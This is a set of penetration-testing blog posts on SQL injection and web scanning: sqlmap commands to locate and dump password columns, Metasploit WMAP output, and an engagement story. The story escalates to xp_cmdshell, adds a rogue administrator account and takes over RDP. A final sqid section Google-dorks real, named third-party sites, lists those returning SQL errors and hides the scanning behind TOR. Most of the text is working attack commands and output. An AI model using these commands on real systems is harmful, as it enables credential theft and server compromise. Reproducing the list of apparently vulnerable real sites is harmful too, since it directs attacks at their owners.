SQLMap -- Searching Databases for Specific Columns/Data & Extracting from Specific Columns

So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.

To search all databases for 'password'

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'

To search a specific database for 'password'

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'

**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**

[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'

You'll get asked:

do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)
[2] as exact column names
> 1

You'll want to give it a 1 first time around, it will probably give you stuff like this:

[15:27:38] [INFO] retrieved: 2
[15:28:22] [INFO] retrieved: Password
[15:29:18] [INFO] retrieved: PrintPasswords

We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1

You could also just do a dump if you want to start grabbing data

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1

If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):

python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)

-CG

sqlmap with POST requests

Notes for sqlmap and POST requests since every f**king tutorial only covers GETs

options you'll want to use

-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string

--postfix=POSTFIX <-- Injection payload postfix string

--dbms=DBMS <--Force back-end DBMS to this value

*--dbms= if sqlmap is sucking

we'll assume we have a simple post request


user@ubuntu:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2

--method to pass the POST option

--data to pass the paramaters that are required for the POST

-p to pass the injectable field, so in this case the username field (usernameTxt)

--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query

--dbms to tell it the backend was mssql

this yields us an sqlmap query like so:

Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On
---

Metasploit and WMAP

What is WMAP

"WMAP is a general purpose web application scanning framework for Metasploit 3. The architecture is simple and its simplicity is what makes it powerful. It's a different approach compared to other open source alternatives and commercial scanners, as WMAP is not build around any browser or spider for data capture and manipulation."

Getting it all up & running

Readme is here:
http://www.metasploit.com/dev/trac/browser/framework3/trunk/documentation/wmap.txt

Step 1: Download, patch, and install ratproxy
http://code.google.com/p/ratproxy/

Documentation: http://code.google.com/p/ratproxy/wiki/RatproxyDoc
Code (at time of this posting): http://ratproxy.googlecode.com/files/ratproxy-1.51.tar.gz

Step 2: Run ratproxy and browse the site you are targeting, this will populate the database you will use/need for wmap.

**You'll need to create the database first.

msf > db_create wmaptest.db
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: wmaptest.db

Step 3: Run metasploit, load necessary plugins, and run the wmap modules.

msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
msf > load db_wmap
[*] =[ WMAP v0.3 - ET LoWNOISE
[*] Successfully loaded plugin: db_wmap
msf > db_connect wmaptest.db
[*] Successfully connected to the database
[*] File: wmaptest.db

Show the targets. This is populated by browsing a site with ratproxy.


msf > wmap_targets
[*] Usage: wmap_targets [options]
-h Display this help text
-p Print all available targets
-r Reload targets table
-s [id] Select target for testing

msf > wmap_targets -r
[*] Added. 192.168.0.100 80 0
[*] Added. 64.233.187.99 80 0

msf > wmap_targets -p
[*] Id. Host Port SSL
[*] Added. 192.168.0.100 80 0
[*] Added. 64.233.187.99 80 0
[*] Done.


Select a target and run the print command again to ensure the right target was selected.


msf > wmap_targets -s 1
Host Port SSL
[*] => 1. 192.168.0.100 80
[*] 2. 64.233.187.99 80
[*] Done.

Display the website structure.

msf > wmap_website
[*] Website structure
[*] 192.168.0.100:80 SSL:0
ROOT_TREE
| web
| | css
| | +------gonav.css
| | web
| | | images
| | | +------storepic_4.jpg
| | | +------storepic_264.jpg
| | | +------20080717105615.jpg
| | | +------storepic_125.jpg
| | +------index.php
| | | pic
| | | | part
| | | | +------index_line_1.gif
| | | +------top_index.gif
| | | +------username.gif
| | | +------tail_bg.gif
| | | +------head_bg.gif
| | | +------login_bg.gif
[*] Done.


[*] Usage: wmap_run [options]
-h Display this help text
-t Show all matching exploit modules
-e Launch exploits against all matched targets

Show the available modules for wmap

msf > wmap_run -t
[*] Loaded auxiliary/scanner/http/wmap_ssl_vhost ...
[*] Loaded auxiliary/scanner/http/frontpage_login ...
[*] Loaded auxiliary/scanner/http/version ...
[*] Loaded auxiliary/scanner/http/wmap_vhost_scanner ...
[*] Loaded auxiliary/scanner/http/options ...
[*] Loaded auxiliary/scanner/http/frontpage ...
[*] Loaded auxiliary/scanner/http/wmap_file_same_name_dir ...
[*] Loaded auxiliary/scanner/http/wmap_brute_dirs ...
[*] Loaded auxiliary/scanner/http/wmap_files_dir ...
[*] Loaded auxiliary/scanner/http/wmap_dir_scanner ...
[*] Loaded auxiliary/scanner/http/wmap_dir_listing ...
[*] Loaded auxiliary/scanner/http/wmap_replace_ext ...
[*] Loaded auxiliary/scanner/http/writable ...
[*] Loaded auxiliary/scanner/http/wmap_prev_dir_same_name_file ...
[*] Loaded auxiliary/scanner/http/wmap_backup_file ...
[*] Loaded auxiliary/scanner/http/wmap_blind_sql_query ...
[*] Analysis completed in 1.30465912818909 seconds.
[*] Done.

Run wmap, go get a (rum &) coke because the bruteforce directory modules are going to take awhile.

msf > wmap_run -e
[*] Launching auxiliary/scanner/http/wmap_ssl_vhost WMAP_SERVER against 192.168.0.100:80
[*] Error: 192.168.0.100
[*] Launching auxiliary/scanner/http/frontpage_login WMAP_SERVER against 192.168.0.100:80
[*] http://192.168.0.100:80/ may not support FrontPage Server Extensions
[*] Launching auxiliary/scanner/http/version WMAP_SERVER against 192.168.0.100:80
[*] 192.168.0.100 is running Apache/2.2.3 (CentOS)( Powered by PHP/5.1.6 )
[*] Launching auxiliary/scanner/http/wmap_vhost_scanner WMAP_SERVER against 192.168.0.100:80
[*] >> Exception during launch from auxiliary/scanner/http/wmap_vhost_scanner: The following options failed to validate: DOMAIN.
[*] Launching auxiliary/scanner/http/options WMAP_SERVER against 192.168.0.100:80
[*] 192.168.0.100 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Launching auxiliary/scanner/http/frontpage WMAP_SERVER against 192.168.0.100:80
[*] http://192.168.0.100:80 is running Apache/2.2.3 (CentOS)
[*] FrontPage not found on http://192.168.0.100:80 [404 Not Found]
[*] Launching auxiliary/scanner/http/wmap_file_same_name_dir WMAP_DIR / against 192.168.0.100:80...
[-] Blank or default PATH set.
[*] Launching auxiliary/scanner/http/wmap_file_same_name_dir WMAP_DIR /web/ against 192.168.0.100:80...

---SNIP---

msf > wmap_reports
[*] Usage: wmap_reports [options]
-h Display this help text
-p Print all available reports
-s [id] Select report for display

Show available reports.

msf > wmap_reports -p
[*] Id. Created Target (host,port,ssl)
1. Sat Nov 22 22:37:04 -0500 2008 192.168.0.100,80,0
[*] Done.

Show your report.

msf > wmap_reports -s 1
WMAP REPORT: 192.168.0.100,80,0 Metasploit WMAP Report [Sat Nov 22 22:37:04 -0500 2008]
WEB_SERVER TYPE: Apache/2.2.3 (CentOS) ( Powered by PHP/5.1.6 ) [Sat Nov 22 22:37:06 -0500 2008]
WEB_SERVER OPTIONS: GET,HEAD,POST,OPTIONS,TRACE [Sat Nov 22 22:37:07 -0500 2008]
DIRECTORY NAME: /admin/ Directory /admin/ found. [Sat Nov 22 22:50:50 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:50:50 -0500 2008]
DIRECTORY NAME: /administrator/ Directory /administrator/ found. [Sat Nov 22 22:51:14 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:51:14 -0500 2008]
DIRECTORY NAME: /cgi-bin/ Directory /cgi-bin/ found. [Sat Nov 22 22:52:13 -0500 2008]
DIRECTORY RESP_CODE: 403 [Sat Nov 22 22:52:13 -0500 2008]
DIRECTORY NAME: /class/ Directory /class/ found. [Sat Nov 22 22:52:29 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:52:29 -0500 2008]
DIRECTORY NAME: /db/ Directory /db/ found. [Sat Nov 22 22:53:01 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:53:01 -0500 2008]
DIRECTORY NAME: /error/ Directory /error/ found. [Sat Nov 22 22:53:31 -0500 2008]
DIRECTORY RESP_CODE: 403 [Sat Nov 22 22:53:31 -0500 2008]
DIRECTORY NAME: /icons/ Directory /icons/ found. [Sat Nov 22 22:54:13 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:54:13 -0500 2008]
DIRECTORY NAME: /includes/ Directory /includes/ found. [Sat Nov 22 22:54:24 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:54:24 -0500 2008]
DIRECTORY NAME: /js/ Directory /js/ found. [Sat Nov 22 22:54:38 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:54:38 -0500 2008]
DIRECTORY NAME: /manual/ Directory /manual/ found. [Sat Nov 22 22:55:02 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:55:02 -0500 2008]
DIRECTORY NAME: /template/ Directory /template/ found. [Sat Nov 22 22:57:38 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:57:38 -0500 2008]
DIRECTORY NAME: /upload/ Directory /upload/ found. [Sat Nov 22 22:57:55 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 22:57:55 -0500 2008]
DIRECTORY NAME: /usage/ Directory /usage/ found. [Sat Nov 22 22:57:57 -0500 2008]
DIRECTORY RESP_CODE: 403 [Sat Nov 22 22:57:57 -0500 2008]
DIRECTORY NAME: /web/ Directory /web/ found. [Sat Nov 22 22:58:08 -0500 2008]
DIRECTORY RESP_CODE: 302 [Sat Nov 22 22:58:08 -0500 2008]
DIRECTORY NAME: /web/class/ Directory /web/class/ found. [Sat Nov 22 23:00:53 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 23:00:53 -0500 2008]
DIRECTORY NAME: /web/css/ Directory /web/css/ found. [Sat Nov 22 23:01:16 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 23:01:16 -0500 2008]
DIRECTORY NAME: /web/db/ Directory /web/db/ found. [Sat Nov 22 23:01:26 -0500 2008]
DIRECTORY RESP_CODE: 200 [Sat Nov 22 23:01:26 -0500 2008]
VULNERABILITY DIR_LISTING: /web/css/ Directory /web/css/ discloses its contents. [Sat Nov 22 23:02:34 -0500 2008]
VULNERABILITY DIR_LISTING: /web/web/pic/ Directory /web/web/pic/ discloses its contents. [Sat Nov 22 23:02:40 -0500 2008]
VULNERABILITY PUT_ENABLED: /web/web/ Upload succeeded on /web/web/ [Sat Nov 22 23:03:18 -0500 2008]
[*] Done.

Finish your pwnage...errr pentest.

Webapp Asssessments Rule or 'why running as 'dbo' is bad!

I just finished up a web application assessment for a client as part of an audit. All I can say is that I've not had that much fun on a web app pentest in ages!

All I was provided with was an ip address. Total blackbox testing. This usually sucks because if you can't get by the login screen, telling the client that, well, the design sucks does not go down well. I like to bring at least a little value.

I had a quick look at the login page and bamn! Full admin access. Yep, 'or 1=1-- lives on. No encoding or filters to bypass at all. As usual the first user in the database was Admin too. After adding another admin user and browsing through the site it was time to see what the database contained. Turns out all the error pages were generic pages as detailed error messages had been disabled. Blind SQLi on .aspx pages sucks. I though this was going to go from quick pwnage to a long ordeal to get the data. Enter Pragmatk. Prag is a friend of mine that just rocks at webapp stuff. We sat down and after visting all the pages and forms that accepted user input we actually found one that returned database error messages. W00t! Let the games begin!

In short order we had everything from the database. Users, passwords, clients, contracts and more. I was able to use the email addresses and passwords we found to log into the user's email account via Outlook Web Access. Perfect. Being greedy we wanted to get access to the server itself. We could create temporary tables and write data to them from any file on the server but this was not enough though. Local admin or fail! Turns out that RDP over 3389 was enabled! Don't ask because I have no idea why. So after trying some of the users and passwords and not getting anywhere I decided to see who the database was running as.

'; if user ='dbo' waitfor delay '0:0:5 '--

Hell yes! Running as Admin. I should have expected it after what we had already found. So next step was to see what I could leverage with this knowledge. In SQL2005 xp_cmdshell is disabled by default but if you have admin access it's really trivial to reenable this stored proceedure. [insert evil grin here]. Using sp_configure it took a few SQL queries to enable xp_cmdshell. A quick test to see if it succeeded.

exec master..xp_cmdshell 'ipconfig > test.txt';CREATE TABLE zeroday (txt varchar(8000)); BULK INSERT zeroday FROM 'C:\\windows\\system32\\test.txt'--

A quick read of the table and w00t!, our ipconfig data was there. Sweet. At this point I'd had too much coffee and started to overthink the next steps. I started going all old skool and writing to a ftp.txt file to pull down my backdoor.exe and execute it. Well at least I did not decide to go the debug.exe route. :) Halfway through I'm talking to Eric over the phone when he 'politely' reminds me that I have RDP access. Just add a user to local admin group and you're golden.

exec master..xp_cmdshell 'NET USER zeroday xxxxxxxx /add'--
exec master..xp_cmdshell 'NET LOCALGROUP "Administrators""zeroday"/add'--

Let's try RDP. It's such a good feeling to see that server's desktop appear! At this point I grabbed the password hashes from the server (not that I'm going to bother cracking them), uploaded my scanner, scanned the two subnets I had access to, got some screenshots and...wtf! DO NOT! I repeat DO NOT run your exchange server on the same server as your webserver!

To finish up Pragmatk took a few minutes to find a persistant XSS in the site (there's more than one). He modified the username field to contain the XSS. If we really wanted we could have modifed each users profile to contain the XSS instead of only our test user. An invisible iframe and I'd have my backdoor dropped to their system in a heartbeat.

All in all a lot of fun was had all round. Cheers to Eric and Pragmatk who rocked as always.

Cheers,
/dean

Using sqid (SQL Injection Digger) to look for SQL Injection

SQL injection digger is a command line program that looks for SQL injections and common errors in websites.
It can perform the following operations:

• Look for SQL injection in a webpage, by looking for links.
• Submit forms in a webpage to look for SQL injection.
• Crawl a website to perform the above listed operations.
• Perform a google search for a query and look for SQL injections in the urls found.

http://sqid.rubyforge.org/

Let's see it in action

sqid run with the help (-h) argument:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -h
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org

Usage: sqid.rb [options]

options:
-m, --mode MODE Operate in mode MODE.
MODE is one of
g,google Operate in google search mode.
u,url Check this url or a file with urls.
p,page Check single page.
c,crawl Crawl website and check.

Google search mode options:

-q, --query QUERY QUERY to perforn google search for.
-s, --start START zero-based index of the first desired result,
zero if not specified.
-r, --results RESULTS number of results desired, default is 20 if not specfied.
rounded to tens.

URL check mode options:
-u, --url URL check this URL.
If URL is a file urls will be loaded from this file, specify each url on a new line.

Page check mode options:

-p, --page PAGE Check this page.

Crawl mode options:
-c, --crawl WEBSITE Crawl website WEBSITE and check.
specify as http[s]://WESITE:[PORT], default PORT is 80

URL, Page and Crawl mode common options:
-C, --cookie COOKIE Cookie in the HTTP header specify as name=value,name=value.
If COOKIE is a file cookies will be loaded from this file, specify each cookie on a new line.

-a, --accept-cookies Accept cookies from the webite or page. Default is no.
-R, --referer REFERER Set referer in the HTTP header.
-B, --auth CREDENTIALS Use credentials as basic auth for the website.
specify as user:password.

Common options:

-o, --with-noquery Match page content without query parameters. Default is false.
-D, --db-files FILE,...,FILE Use file(s) FILE,...,FILE as signature database.
-t, --trigger TRIGGER Use TRIGGER for detecting SQL injections/errors default is '.
If TRIGGER is a file triggers will be loaded from it. specify each trigger on newline.

Lines starting with a # are ignored.

-T, --time-out TIMEOUT Timeout for response in seconds.
Default is 10 seconds.
-U, --user-agent USERAGENT User Agent in the HTTP Header. Default is SQID/0.3.
-P, --proxy PROXY User HTTP proxy PROXY for operations.
specfify as proxy:port.
-A, --proxy-auth CREDENTIALS Use crendtials CRENDENTIALS for the proxy.
specfify as user:password.
-v, --verbose Run verbosely.
-h, --help Show this message

Let's play with the google query:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -m g -q inurl:page.asp -s 0 -r 50
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org

[+] Getting 50 links from search inurl:page.asp starting from 0.
[+] Done got 50 links.
[*] Going to check 50 urls.

500 VBScript / ASP error => http://www.ddcf.org/page.asp?pageId='
500 MS-SQL Server error => http://www.unctad.org/Templates/Page.asp?intItemID='
500 MS-SQL Server error => http://www.aacp.org/site/page.asp?CID='&DID=3079
500 MS-SQL Server error => http://www.aacp.org/site/page.asp?CID=72&DID='
500 VBScript / ASP error => http://www.airweb.org/page.asp?page='
500 VBScript runtime error => http://www.airweb.org/page.asp?page='
Timed out => http://www.pebblebeach.com/page.asp?id='
500 VBScript / ASP error => http://www.royalsoc.ac.uk/page.asp?id='
500 VBScript runtime error => http://www.royalsoc.ac.uk/page.asp?id='
500 ADODB Error => http://www.yased.org.tr/page.asp?pageid='
500 VBScript / ASP error => http://www.neighbourhood.gov.uk/page.asp?id='
500 VBScript runtime error => http://www.neighbourhood.gov.uk/page.asp?id='
500 VBScript / ASP error => http://www.browsealoud.com/page.asp?pg_id='
500 VBScript runtime error => http://www.browsealoud.com/page.asp?pg_id='
[*] Warning: Client error 404 Page not found, http://policyresearch.gc.ca/page.asp?pagenm='.
500 VBScript runtime error => http://philanthropy.moodys.com/page.asp?template='&context=cmr&section=hglts
500 No match => http://philanthropy.moodys.com/page.asp?template=cmr&context='&section=hglts
Error getaddrinfo: No address associated with nodename, http://www.airindiaexpress.co.in/page.asp?pageid='.
500 VBScript runtime error => http://www.bscs.org/page.asp?pageid='&id=0%7Cevolution_programs
500 VBScript / ASP error => http://www.televue.com/engine/page.asp?cat='
500 VBScript runtime error => http://www.televue.com/engine/page.asp?cat='
500 MS-Access error => http://www.northernirelandscreen.co.uk/page.asp?id='
500 No match => http://www.airindia.com/page.asp?pageid='
500 MS-SQL Server error => http://www.seaair.info/page.asp?page='

[*] Checked 44 URLs.

closer look at the query; sqid.rb -m g -q inurl:page.asp -s 0 -r 50

-q query = "inurl:page.asp"
-s start with result 0
-r return 50 results

You can use sqid to check a URL:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -m u -u http://www.site.info/page.asp?page=
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org

[*] Going to check 1 urls.

500 MS-SQL Server error => http://www.site.info/page.asp?page='

[*] Checked 1 URLs.

You can use sqid to check a page:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -m p -p http://www.site.info/
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org
[+] Getting links from page http://www.site.info/.
[*] Invalid URL: bad URI(is not URI?): %20http://www.site.org.za
[+] Done got 2 links.
[*] Going to check 2 urls.

500 MS-SQL Server error => http://www.site.info/page.asp?page='

[*] Checked 2 URLs.

You can use sqid to crawl a site as well:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -v -m c -c http://www.carnal0wnage.com/
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org

[v] Loaded 21 signatures from sqid.db.
[+] Crawling http://www.carnal0wnage.com/.
[v] Getting http://www.carnal0wnage.com/.
[v] Getting http://www.carnal0wnage.com/main.html.
[v] Getting http://www.carnal0wnage.com/papers.html.
[v] Getting http://www.carnal0wnage.com/hackvideos/index.html.
[v] Getting http://www.carnal0wnage.com/rootwars.html.
[v] Getting http://www.carnal0wnage.com/rootwars/Sept2nd2006_T1_RootWar_Shell_Logz.html.
[v] Getting http://www.carnal0wnage.com/rootwars/Sept2nd2006_T3_RootWar_Shell_Logz.html.
[v] Getting http://www.carnal0wnage.com/research.html.
[v] Getting http://www.carnal0wnage.com//research/PyDNSmap.py.
[v] Getting http://www.carnal0wnage.com/research/clearseclog.rb.
[v] Getting http://www.carnal0wnage.com/research/clearalllog.rb.
[v] Getting http://www.carnal0wnage.com/about.html.
[v] Getting http://www.carnal0wnage.com/links.html.
[v] Getting http://www.carnal0wnage.com//pvt/phackvideos.html.
[*] Warning: Client error 401 Authorization Required, http://www.carnal0wnage.com//pvt/phackvideos.html.
[+] Done got 32 links.
[*] Going to check 32 urls.

[v] Checking URL http://www.carnal0wnage.com/main.html.
[v] Checking URL http://www.carnal0wnage.com/papers.html.
[v] Checking URL http://www.carnal0wnage.com/hackvideos/index.html.
[v] Checking URL http://www.carnal0wnage.com/rootwars.html.
[v] Checking URL http://www.carnal0wnage.com/rootwars/Sept2nd2006_T1_RootWar_Shell_Logz.html.
[v] Checking URL http://www.carnal0wnage.com/rootwars/Sept2nd2006_T2_RootWar_Shell_Logz.html.
[v] Checking URL http://www.carnal0wnage.com/rootwars/Sept2nd2006_T3_RootWar_Shell_Logz.html.
[v] Checking URL http://www.carnal0wnage.com/research.html.
[v] Checking URL http://www.carnal0wnage.com//research/PyDNSmap.py.
[v] Checking URL http://www.carnal0wnage.com/research/clearseclog.rb.
[v] Checking URL http://www.carnal0wnage.com/research/clearalllog.rb.
[v] Checking URL http://www.carnal0wnage.com/about.html.
[v] Checking URL http://www.carnal0wnage.com/links.html.
[v] Checking URL http://www.carnal0wnage.com//pvt/phackvideos.html.

[*] Checked 32 URLs.

Tunnel that stuff through TOR:

SegFault:~/sqid/sqid cg$ ruby sqid.rb -v -P localhost:8118 -m c -c http://www.carnal0wnage.com/
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org

[v] Loaded 21 signatures from sqid.db.
[+] Crawling http://www.carnal0wnage.com/.
[v] Getting http://www.carnal0wnage.com/.
[v] Getting http://www.carnal0wnage.com/main.html.
[v] Getting http://www.carnal0wnage.com/papers.html.
[v] Getting http://www.carnal0wnage.com/hackvideos/index.html.
[v] Getting http://www.carnal0wnage.com/rootwars.html.
[v] Getting http://www.carnal0wnage.com/rootwars/Sept2nd2006_T1_RootWar_Shell_Logz.html.
---snip---

by default, sqid will only check for SQL injection with " ' " you can add your own trigger file if you want.

adding a trigger file:
SegFault:~/sqid/sqid cg$ cat trigger2
'
' or '1
' or ' 1
' or '1--
' or ' 1--

SegFault:~/sqid/sqid cg$ ruby sqid.rb -P localhost:8118 -m g -q inurl:login.asp -t trigger2
sqid v0.3 - SQL Injection digger.
Copyright (C) Metaeye Security Group - http://sqid.rubyforge.org
[+] Getting 20 links from search inurl:login.asp starting from 0.
[+] Done got 20 links.
[*] Going to check 20 urls.

500 VBScript / ASP error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='
500 VBScript runtime error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='
500 VBScript / ASP error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'1
500 VBScript runtime error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'1
500 VBScript / ASP error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'%201
500 VBScript runtime error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'%201
500 VBScript / ASP error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'1--
500 VBScript runtime error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'1--
500 VBScript / ASP error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'%201--%20
500 VBScript runtime error => http://www.site2web.com/cgi-bin/login.asp?lid=0&il='%20or%20'%201--%20
----snip

-CG